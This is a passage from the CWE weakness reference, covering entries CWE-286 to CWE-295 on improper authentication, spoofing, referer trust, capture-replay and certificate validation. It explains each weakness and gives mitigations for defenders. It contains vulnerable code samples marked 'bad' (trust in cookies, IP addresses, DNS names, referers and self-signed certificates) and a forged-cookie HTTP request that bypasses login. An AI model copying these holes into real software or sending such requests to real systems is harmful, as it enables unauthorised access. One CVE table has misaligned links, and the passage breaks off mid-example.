| CVE-2005-2801 | Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801 |
| CVE-2001-1155 | Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-286: Incorrect User Management

Weakness ID : 286

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The software does not properly manage a user within its environment.

Extended Description

Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|----------|-----|--|------|
| ChildOf | I | 284 | Improper Access Control | 631 |
| ParentOf | B | 842 | Placement of User into Incorrect Group | 1610 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|----------|------|------------------|------|
| MemberOf | C | 1011 | Authorize Actors | 2142 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|-------------------|------------|
| Other | Varies by Context | |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|----------|-----|--|----------|------|
| MemberOf | C | 944 | SFP Secondary Cluster: Access Management | 888 | 2110 |

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Maintenance

This item needs more work. Possible sub-categories include: user in wrong group, and user with insecure profile or "configuration". It also might be better expressed as a category than a weakness.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-----|------------------------|
| PLOVER | | | User management errors |

CWE-287: Improper Authentication

| | |
|----------------------------|-----------------------|
| Weakness ID : 287 | Status : Draft |
| Structure : Simple | |
| Abstraction : Class | |

Description

When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|------|-----|--|------|
| ChildOf | P | 284 | Improper Access Control | 631 |

| Nature | Type | ID | Name | Page |
|---------|---|-----|-------------------------|------|
| ChildOf |  | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Alternate Terms

authentication : An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.

AuthN : "AuthN" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

AuthC : "AuthC" is used as an abbreviation of "authentication," but it appears to be used less frequently than "AuthN."

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Integrity | Read Application Data | |
| Confidentiality | Gain Privileges or Assume Identity | |
| Availability | Execute Unauthorized Code or Commands | |
| Access Control | <i>This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.</i> | |

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries. Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness = Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester

to record and modify an active session. Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

Demonstrative Examples

Example 1:

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

Example Language: Perl

(bad)

```
my $q = new CGI;
if ($q->cookie('loggedin') ne "true") {
    if (!AuthenticateUser($q->param('username'), $q->param('password'))) {
        ExitError("Error: you need to log in first");
    }
    else {
        # Set loggedin and user cookies.
        $q->cookie(
            -name => 'loggedin',
            -value => 'true'
        );
        $q->cookie(
            -name => 'user',
            -value => $q->param('username')
        );
    }
}
if ($q->cookie('user') eq "Administrator") {
    DoAdministratorTasks();
}
```

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

Example Language:

(attack)

```
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true
[body of request]
```

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

Example 2:

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2009-3421 | login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3421 |
| CVE-2009-2382 | admin script allows authentication bypass by setting a cookie value to "LOGGEDIN". https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2382 |

| Reference | Description |
|----------------------|---|
| CVE-2009-1048 | VOIP product allows authentication bypass using 127.0.0.1 in the Host header. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1048 |
| CVE-2009-2213 | product uses default "Allow" action, instead of default deny, leading to authentication bypass. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213 |
| CVE-2009-2168 | chain: redirect without exit (CWE-698) leads to resultant authentication bypass. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2168 |
| CVE-2009-3107 | product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3107 |
| CVE-2009-1596 | product does not properly implement a security-related configuration setting, allowing authentication bypass. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1596 |
| CVE-2009-2422 | authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2422 |
| CVE-2009-3232 | authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3232 |
| CVE-2009-3231 | use of LDAP authentication with anonymous binds causes empty password to result in successful authentication https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3231 |
| CVE-2005-3435 | product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435 |
| CVE-2005-0408 | chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0408 |

Functional Areas

- Authentication

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |

CWE-288: Authentication Bypass Using an Alternate Path or Channel

Weakness ID : 288

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

A product requires authentication, but the product has an alternate path or channel that does not require authentication.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|------|---|------|
| ChildOf |  | 287 | Improper Authentication | 643 |
| ParentOf |  | 425 | Direct Request ('Forced Browsing') | 941 |
| ParentOf |  | 1299 | Missing Protection Mechanism for Alternate Hardware Interface | 1943 |
| PeerOf |  | 420 | Unprotected Alternate Channel | 935 |
| PeerOf |  | 425 | Direct Request ('Forced Browsing') | 941 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Architecture and Design

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2000-1179 | Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1179 |
| CVE-1999-1454 | Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1454 |
| CVE-1999-1077 | OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock. |

| Reference | Description |
|----------------------|---|
| CVE-2003-0304 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1077 Direct request of installation file allows attacker to create administrator accounts. |
| CVE-2002-0870 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0304 Attackers may gain additional privileges by directly requesting the web management URL. |
| CVE-2002-0066 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0870 Bypass authentication via direct request to named pipe. |
| CVE-2003-1035 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0066 User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing. |
| | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1035 |

CWE-289: Authentication Bypass by Alternate Name

| | |
|------------------------------|----------------------------|
| Weakness ID : 289 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|---|-----|--|------|
| ChildOf |  | 287 | Improper Authentication | 643 |
| CanFollow |  | 46 | Path Equivalence: 'filename ' (Trailing Space) | 90 |
| CanFollow |  | 52 | Path Equivalence: '/multiple/trailing/slash/' | 97 |
| CanFollow |  | 173 | Improper Handling of Alternate Encoding | 408 |
| CanFollow |  | 178 | Improper Handling of Case Sensitivity | 417 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|---------------------|------|
| MemberOf |  | 1010 | Authenticate Actors | 2140 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2003-0317 | Protection mechanism that restricts URL access can be bypassed using URL encoding. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0317 |
| CVE-2004-0847 | Bypass of authentication for files using "\" (backslash) or "%5C" (encoded backslash). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0847 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|------|---|------|------|
| MemberOf |  | 845 | The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS) | 844 | 2078 |
| MemberOf |  | 947 | SFP Secondary Cluster: Authentication Bypass | 888 | 2111 |
| MemberOf |  | 1134 | SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS) | 1133 | 2160 |

Notes

Relationship

Overlaps equivalent encodings, canonicalization, authorization, multiple trailing slash, trailing space, mixed case, and other equivalence issues.

Theoretical

Alternate names are useful in data driven manipulation attacks, not just for authentication.

CWE-290: Authentication Bypass by Spoofing

| | |
|---------------------------|----------------------------|
| Weakness ID : 290 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

This attack-focused weakness is caused by improperly implemented authentication schemes that are subject to spoofing attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| ChildOf |  | 287 | Improper Authentication | 643 |
| ParentOf |  | 291 | Reliance on IP Address for Authentication | 656 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------------|------|
| MemberOf |  | 1211 | Authentication Errors | 2191 |

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Access Control | Bypass Protection Mechanism Gain Privileges or Assume Identity <i>This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.</i> | |

Demonstrative Examples

Example 1:

The following code authenticates users.

Example Language: Java

(bad)

```
String sourceIP = request.getRemoteAddr();
if (sourceIP != null && sourceIP.equals(APPROVED_IP)) {
    authenticated = true;
}
```

The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.

Example 2:

Both of these examples check if a request is from a trusted address before responding to the request.

Example Language: C

(bad)

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
```

```

    cliilen = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &cliilen);
    }
}

```

*Example Language: Java**(bad)*

```

while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress clientIPAddress = rp.getAddress();
    int port = rp.getPort();
    if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
    }
}

```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

Example 3:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

*Example Language: C**(bad)*

```

struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}

```

*Example Language: Java**(bad)*

```

String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}

```

*Example Language: C#**(bad)*

```

IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}

```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled

across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2009-1048 | VOIP product allows authentication bypass using 127.0.0.1 in the Host header. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1048 |

CWE-291: Reliance on IP Address for Authentication

Weakness ID : 291

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software uses an IP address for authentication.

Extended Description

IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 471 | Modification of Assumed-Immutable Data (MAID) | 1030 |
| ChildOf |  | 923 | Improper Restriction of Communication Channel to Intended Endpoints | 1656 |
| ChildOf |  | 290 | Authentication Bypass by Spoofing | 653 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|---------------------|------|
| MemberOf |  | 1010 | Authenticate Actors | 2140 |

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Access Control | Hide Activities | |
| Non-Repudiation | Gain Privileges or Assume Identity | |
| | <i>Malicious users can fake authentication information, impersonating any IP address.</i> | |

Potential Mitigations

Phase: Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Demonstrative Examples

Example 1:

Both of these examples check if a request is from a trusted address before responding to the request.

Example Language: C

(bad)

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
```

```
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clien = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
    }
}
```

Example Language: Java

(bad)

```
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress clientIPAddress = rp.getAddress();
    int port = rp.getPort();
    if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
    }
}
```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

CWE-293: Using Referer Field for Authentication

Weakness ID : 293

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-----------------------------------|------|
| ChildOf |  | 290 | Authentication Bypass by Spoofing | 653 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|---------------------|------|
| MemberOf |  | 1010 | Authenticate Actors | 2140 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Background Details

The referer field in HTML requests can be simply modified by malicious users, rendering it useless as a means of checking the validity of the request in question.

Alternate Terms

referrer : While the proper spelling might be regarded as "referrer," the HTTP RFCs and their implementations use "referer," so this is regarded as the correct spelling.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Gain Privileges or Assume Identity <i>Actions, which may not be authorized otherwise, can be carried out as if they were validated by the server referred to.</i> | |

Potential Mitigations

Phase: Architecture and Design

In order to usefully check if a given action is authorized, some means of strong authentication and method protection must be used. Use other means of authorization that cannot be simply spoofed. Possibilities include a username/password or certificate.

Demonstrative Examples

Example 1:

The following code samples check a packet's referer in order to decide whether or not an inbound request is from a trusted host.

Example Language: C++

(bad)

```
String trustedReferer = "http://www.example.com/"
while(true){
    n = read(newsock, buffer, BUFSIZE);
    requestPacket = processPacket(buffer, n);
    if (requestPacket.referer == trustedReferer){
        openNewSecureSession(requestPacket);
    }
}
```

Example Language: Java

(bad)

```
boolean processConnectionRequest(HttpServletRequest request){
    String referer = request.getHeader("referer")
    String trustedReferer = "http://www.example.com/"
    if(referer.equals(trustedReferer)){
        openPrivilegedConnection(request);
        return true;
    }
    else{
        sendPrivilegeError(request);
        return false;
    }
}
```

```
}
}
```

These examples check if a request is from a trusted referer before responding to a request, but the code only verifies the referer name as stored in the request packet. An attacker can spoof the referer, thus impersonating a trusted client.

CWE-294: Authentication Bypass by Capture-replay

Weakness ID : 294

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

A capture-replay flaw exists when the design of the software makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).

Extended Description

Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Gain Privileges or Assume Identity <i>Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.</i> | |

Potential Mitigations

Phase: Architecture and Design

Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

Phase: Architecture and Design

Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2005-3435 | product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435 |
| CVE-2007-4961 | Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4961 |

CWE-295: Improper Certificate Validation

Weakness ID : 295

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not validate, or incorrectly validates, a certificate.

Extended Description

When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by interfering in the communication path between the host and client. The software might connect to a malicious host while believing it is a trusted host, or the software might be deceived into accepting spoofed data that appears to originate from a trusted host.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Mobile (*Prevalence = Undetermined*)

Background Details

A certificate is a token that associates an identity (principal) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.

Common Consequences

| Scope | Impact | Likelihood |
|----------------|------------------------------------|------------|
| Integrity | Bypass Protection Mechanism | |
| Authentication | Gain Privileges or Assume Identity | |

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Man-in-the-middle attack tool

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

Demonstrative Examples

Example 1:

This code checks the certificate of a connected peer.

Example Language: C

(bad)

```
if ((cert = SSL_get_peer_certificate(ssl)) && host)
    foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo)
    // certificate looks good, host can be trusted
```

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using an Adversary-in-the-Middle (AITM) attack to modify the traffic from server to client.

Example 2:

The following OpenSSL code obtains a certificate and verifies it.

Example Language: C

(bad)

```
